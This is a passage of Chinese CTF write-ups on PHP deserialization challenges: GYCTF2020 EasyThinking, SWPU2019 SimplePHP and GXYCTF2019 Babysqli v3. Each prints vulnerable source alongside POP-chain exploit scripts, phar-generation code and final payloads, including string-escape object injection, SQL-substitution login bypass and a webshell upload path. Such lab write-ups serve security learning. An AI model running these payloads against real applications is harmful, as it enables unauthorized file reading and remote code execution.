这里我们就可以利用变量覆盖漏洞来覆盖$_SESSION["user"]
和$_SESSION["function"]
的值。
假如我们赋值$_SESSION["user"]=flagflagflagflagflagflag
,$_SESSION["function"]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
,那么序列化后$serialize_info
为:
1 a:3 :{s:4 :"user" ;s:24 :"flagflagflagflagflagflag" ;s:8 :"function" ;s:59 :"a" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;s:2 :"dd" ;s:1 :"a" ;}";s:3:" img";s:28:" L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
过滤之后,
1 a:3 :{s:4 :"user" ;s:24 :"" ;s:8 :"function" ;s:59 :"a" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;s:2 :"dd" ;s:1 :"a" ;}";s:3:" img";s:28:" L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
其中";s:8:"function";s:59:"a
刚好是24个字符,这样就可以控制后面的序列化内容。
所以最终的payload为:
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
参考
官方writeup
AD攻防实验室——PHP反序列化字符逃逸
[GYCTF2020]EasyThinking
考点
解题
下载www.zip
审计源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users=new User(); $users->update(); if ($_SESSION['login' ]===1 ){ require_once ("flag.php" ); echo $flag; } ?>
update.php
页面提示需要登录才能获得flag。
主要代码都在lib.php
中,先来看一下User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class User { public $id; public $age=null ; public $nickname=null ; public function login ( ) { if (isset ($_POST['username' ])&&isset ($_POST['password' ])){ $mysqli=new dbCtrl(); $this ->id=$mysqli->login('select id,password from user where username=?' ); if ($this ->id){ $_SESSION['id' ]=$this ->id; $_SESSION['login' ]=1 ; echo "你的ID是" .$_SESSION['id' ]; echo "你好!" .$_SESSION['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } } public function update ( ) { $Info=unserialize($this ->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION['id' ]); } public function getNewInfo ( ) { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); } public function __destruct ( ) { return file_get_contents($this ->nickname); } public function __toString ( ) { $this ->nickname->update($this ->age); return "0-0" ; } }
login
函数中调用dbCtrl
类中的login
函数执行SQL语句,update
函数中有一个反序列化的地方,参数是getNewInfo
函数的返回值。
getNewInfo
函数中age
和nickname
参数是可控的,传给了Info
类
1 2 3 4 5 6 7 8 9 10 11 12 class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } }
然后还要经过一次safe
函数
1 2 3 4 function safe ($parm ) { $array= array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array,'hacker' ,$parm); }
替换之后改变了数据的结构,类似0CTF2016 piapiapia这道题,很可能会引发字符逃逸的漏洞。
接着看dbCtrl
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 class dbCtrl { public $hostname="127.0.0.1" ; public $dbuser="root" ; public $dbpass="root" ; public $database="test" ; public $name; public $password; public $mysqli; public $token; public function __construct ( ) { $this ->name=$_POST['username' ]; $this ->password=$_POST['password' ]; $this ->token=$_SESSION['token' ]; } public function login ($sql ) { $this ->mysqli=new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result=$this ->mysqli->prepare($sql); $result->bind_param('s' , $this ->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this ->token=='admin' ) { return $idResult; } if (!$idResult) { echo ('用户不存在!' ); return false ; } if (md5($this ->password)!==$passwordResult) { echo ('密码错误!' ); return false ; } $_SESSION['token' ]=$this ->name; return $idResult; } public function update ($sql ) { } }
我们可以知道的信息:
用户名存在,且$this->password的md5的值与数据库查询用户密码相同。
或者token的值为admin
这里有点像2019GXYCTF中的babySqli,是不是我们控制了sql语句,使用
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
$this->password=1(1的md5的值为c4ca4238a0b923820dcc509a6f75849b)
就可以通过登录密码的验证。
接下来构造POP链,先来找一下__destruct
魔法方法,在UpdateHelper
类中
1 2 3 4 5 6 7 8 9 10 11 12 13 Class UpdateHelper { public $id; public $newinfo; public $sql; public function __construct ($newInfo,$sql ) { $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct ( ) { echo $this ->sql; } }
发现会把sql给echo出来,如果$sql=new User()
的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname
属性的update()方法。虽然dbCtrl对象拥有update()方法,但是$nickname
实例化成对象没意义。接着看Info
类
1 2 3 4 5 6 7 8 9 10 11 12 class Info { public $age; public $nickname; public $CtrlCase; public function __construct ($age,$nickname ) { $this ->age=$age; $this ->nickname=$nickname; } public function __call ($name,$argument ) { echo $this ->CtrlCase->login($argument[0 ]); } }
这时我们看到了Info类内有__call()
魔术方法,如果调用了一个不存在的属性,__call()
方法就会触发,正好Info类没有update()方法,那么如果User内的$nickname
实例化为Info对象,调用不存在update()就会触发这个__call()
,这个__call()
魔术方法将Ctrlcase的login()函数结果输出出来。
这样我们只需要$CtrlCase
变量实例化为dbCtrl类的对象,这句话相当于相当于dbCtrl::login($sql)
,而且可知dbCtrl::login($sql)
中的$sql
参数,实际上是User类中的$age变量传入的,参数就是我们控制的了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class User { public $age = null ; public $nickname = null ; public function __construct ( ) { $this ->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; $this ->nickname = new Info(); } } class Info { public $CtrlCase; public function __construct ( ) { $this ->CtrlCase = new dbCtrl(); } } class UpdateHelper { public $sql; public function __construct ( ) { $this ->sql = new User(); } } class dbCtrl { public $name = "admin" ; public $password = "1" ; } $o = new UpdateHelper; echo serialize($o);
序列化的结果
1 O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
构造好了POP链,接下来就是要找到触发反序列化的点。
从update.php 可以跟进User类的update()函数:
1 2 3 4 5 6 7 public function update ( ) { $Info=unserialize($this ->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION['id' ]); }
继续跟进getNewInfo()
函数
1 2 3 4 5 public function getNewInfo ( ) { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); }
这个函数的返回值是一个先序列化在经过safe()函数处理的Info类对象。
所以最终能够反序列化的不是我们直接传入的字符串,而是用我们的值实例化一个Info类的对象,然后对这个对象进行实例化,再对这个序列化结果进行safe()处理,最后得到的值再进行反序列化。
所以想要发序列化我们的payload,就得控制 Info类对象的序列化串,看一下这个序列化串的格式
(假设age=20;nickname=lethe):
1 O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}
这里的原理有点类似注入,都是闭合,先看一下我们构造的payload如下,未逃逸字符串前:
1 ";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
可以看到我们在已序列化串前面加上了";s:8:"CtrlCase";
,在最后加上了一个}
(整个长度为263),这样我们将其作为new Info($age,$nickname)
的nickname传入时,序列化的结果如下:
1 O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
但是长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。
这时候就需要用到字符逃逸的原理了,我们在payload的前面加上263个union
,在经过safe函数之后,union
全部被替换成hacker
,也就是相当于新增了263个字符,这样就导致跟在后面的长度为263个字符的payload成功逃逸。
而之所前面构造的时候在最后面加一个}
,是因为Info类的对象只有3个变量,}
前面已经有3个变量满足了序列化串的要求了,所以加一个}
来闭合整个序列化串。
最终payload如下:
1 age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
在update.php内post提交age=123&nickname=
后面接上输出结果,就会得到admin密码的md5。
SWPU2019 SimplePHP
考点
解题
查看文件页面有文件包含,可以读取源码:
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set('open_basedir' ,'/var/www/html/' ); $file = $_GET["file" ] ? $_GET['file' ] : "" ; if (empty ($file)) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show(); if (file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty ($file)){ die ('file doesn\'t exists.' ); } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header("Content-type: text/html;charset=utf-8" ); error_reporting(0 ); function upload_file_do ( ) { global $_FILES; $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ; if (file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file" ]["tmp_name" ],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES; if (upload_file_check()) { upload_file_do(); } } function upload_file_check ( ) { global $_FILES; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode("." ,$_FILES["file" ]["name" ]); $extension = end($temp); if (empty ($extension)) { } else { if (in_array($extension,$allowed_types)) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test; public $str; public function __construct ($name ) { $this ->str = $name; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source; public $str; public function __construct ($file ) { $this ->source = $file; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content; } public function __set ($key,$value ) { $this ->$key = $value; } public function _show ( ) { if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file($this ->source); } } public function __wakeup ( ) { if (preg_match("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file; public $params; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get($key); } public function get ($key ) { if (isset ($this ->params[$key])) { $value = $this ->params[$key]; } else { $value = "index.php" ; } return $this ->file_get($value); } public function file_get ($value ) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
class.php中有一个很明显的POP链,此外,由于没有unserialize函数触发反序列化,那么就只能上传一个phar来触发反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c1e4r = new C1e4r(); $show = new Show(); $test = new Test(); $c1e4r->str = $show; $show->str['str' ] = $test; $test->params['source' ] = '/var/www/html/f1ag.php' ; $phar = new Phar("exp.phar" ); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >' ); $phar->setMetadata($c1e4r); $phar->addFromString("exp.txt" , "test" ); $phar->stopBuffering();
生成exp.phar后改后缀为gif,然后查看上传的文件名
最后使用phar协议读取该文件。
解码得到flag。
GXYCTF2019 Babysqli v3
考点
解题
弱口令爆破。。。。。得到admin/password。
PHP伪协议读取源码php://filter/read=convert.base64-encode/resource=home.php
home.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>" ;error_reporting(0 ); if (isset ($_SESSION['user' ])){ if (isset ($_GET['file' ])){ if (preg_match("/.?f.?l.?a.?g.?/i" , $_GET['file' ])){ die ("hacker!" ); } else { if (preg_match("/home$/i" , $_GET['file' ]) or preg_match("/upload$/i" , $_GET['file' ])){ $file = $_GET['file' ].".php" ; } else { $file = $_GET['file' ].".fxxkyou!" ; } echo "当前引用的是 " .$file; require $file; } } else { die ("no permission!" ); } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data" > 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form> <?php error_reporting(0 ); class Uploader { public $Filename; public $cmd; public $token; function __construct ( ) { $sandbox = getcwd()."/uploads/" .md5($_SESSION['user' ])."/" ; $ext = ".txt" ; @mkdir($sandbox, 0777 , true ); if (isset ($_GET['name' ]) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET['name' ])){ $this ->Filename = $_GET['name' ]; } else { $this ->Filename = $sandbox.$_SESSION['user' ].$ext; } $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ; $this ->token = $_SESSION['user' ]; } function upload ($file ) { global $sandbox; global $ext; if (preg_match("[^a-z0-9]" , $this ->Filename)){ $this ->cmd = "die('illegal filename!');" ; } else { if ($file['size' ] > 1024 ){ $this ->cmd = "die('you are too big (′▽`〃)');" ; } else { $this ->cmd = "move_uploaded_file('" .$file['tmp_name' ]."', '" . $this ->Filename . "');" ; } } } function __toString ( ) { global $sandbox; global $ext; return $this ->Filename; } function __destruct ( ) { if ($this ->token != $_SESSION['user' ]){ $this ->cmd = "die('check token falied!');" ; } eval ($this ->cmd); } } if (isset ($_FILES['file' ])) { $uploader = new Uploader(); $uploader->upload($_FILES["file" ]); if (@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>" .$uploader."<br>" ; echo file_get_contents($uploader); } } ?>
预期解
Phar反序列化
先任意上传一个文件获得token的值
生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Uploader { public $Filename; public $cmd; public $token; } $upload = new Uploader(); $upload->cmd = "highlight_file('/var/www/html/flag.php');" ; $upload->Filename = 'test' ; $upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3' ; $phar = new Phar("exp.phar" ); $phar->startBuffering(); $phar->setStub('GIF89a' .'<?php __HALT_COMPILER(); ? >' ); $phar->setMetadata($upload); $phar->addFromString("exp.txt" , "test" ); $phar->stopBuffering();
然后将生成的phar上传
得到路径/var/www/html/uploads/cdc81ac06b78e980da728ecd95e747a8/GXY063c630ae7ab41c6fd121cb4851620a3.txt
然后将这个路径带上phar://
作为name参数的值,再随意上传一个文件,因为$this->Filename
被我们手工指定为phar,触发了phar反序列化导致命令执行。
非预期解1
关键的地方在于正则写的有问题
1 2 3 4 5 6 if (isset ($_GET['name' ]) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET['name' ])){ $this ->Filename = $_GET['name' ]; } else { $this ->Filename = $sandbox.$_SESSION['user' ].$ext; }
实际上匹配的是 .
(空格点)。``upload()内,只要文件小于1024,就将上传文件到
$this->Filename`
那我们只要使$this->Filename
为/var/www/html/uploads/shell.php
,然后上传一个txt的一句话即可getshell
非预期解2
由于这行代码
1 echo file_get_contents($uploader);
上传后会显示出$uploader
这个文件的内容,所以只要使$this->Filename
为flag.php
然后随便传个东西就会得到flag了。
MRCTF2020 Ezpop_Revenge
TODO